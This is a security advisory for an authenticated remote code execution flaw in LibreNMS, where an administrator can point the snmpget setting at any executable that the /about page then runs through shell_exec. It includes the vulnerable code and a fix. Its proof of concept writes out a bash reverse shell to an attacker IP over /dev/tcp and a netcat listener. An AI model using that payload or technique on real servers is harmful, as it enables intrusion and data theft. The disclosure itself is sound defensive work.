PT-2026-83381 · Packagist · Librenms/Librenms

Published

2026-08-18

·

Updated

2026-08-18

CVSS v4.0

6.4

Medium

VectorAV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges

Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85
php
'version netsnmp' => str replace('version: ', '', 
  rtrim(shell exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:
  • Endpoint: PUT /settings/snmpget
  • Controller: SettingsController::update()
  • Required Privileges: Administrator
  • Config Definition: resources/definitions/config definitions.json
json
"snmpget": {
  "default": "/usr/bin/snmpget",
  "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:
php
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
  if (preg match('/[`;#$|&'"><(]/', $path)) {
    return false;
  }
  return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
  $value == $this->sanitizePath($value);
  return $value !== false && is file($value) && is executable($value);
}

Attack Scenarios

ScenarioDescription
Insider ThreatInternal admin creates malicious file → updates config → RCE
Privilege EscalationAttacker with limited access → creates file → full RCE
Supply ChainMalicious package installs binary → admin uses it → RCE

PoC

Prerequisites

  • Valid administrator credentials for LibreNMS web interface
  • Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:
bash
ATTACKER IP="172.16.69.144"
ATTACKER PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER IP'/'$ATTACKER PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev shell.sh and make it executable:
bash
chmod +x /tmp/rev shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:
bash
nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:
  • Settings → External → Binaries
  • Locate snmpget configuration
  • Update the value to: /tmp/rev shell.sh
  • Click Save
image

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:
image

Impact Summary

CategoryLevelDescription
ConfidentialityHIGHRead config files, database credentials, SSH keys
IntegrityHIGHCreate webshells, backdoors, modify code
AvailabilityHIGHDisrupt services, delete data, stop monitoring
ScopeCHANGEDCompromise extends beyond application to system

Who Is Impacted

  • LibreNMS installations where attacker has admin credentials AND file system access
  • Organizations using LibreNMS for network monitoring
  • Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell exec() with Symfony Process component:
php
// BEFORE (vulnerable):
shell exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();

Fix

Command Injection

OS Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-77CWE-78

Related Identifiers

GHSA-JF24-8G2H-2WG7

Affected Products

Librenms/Librenms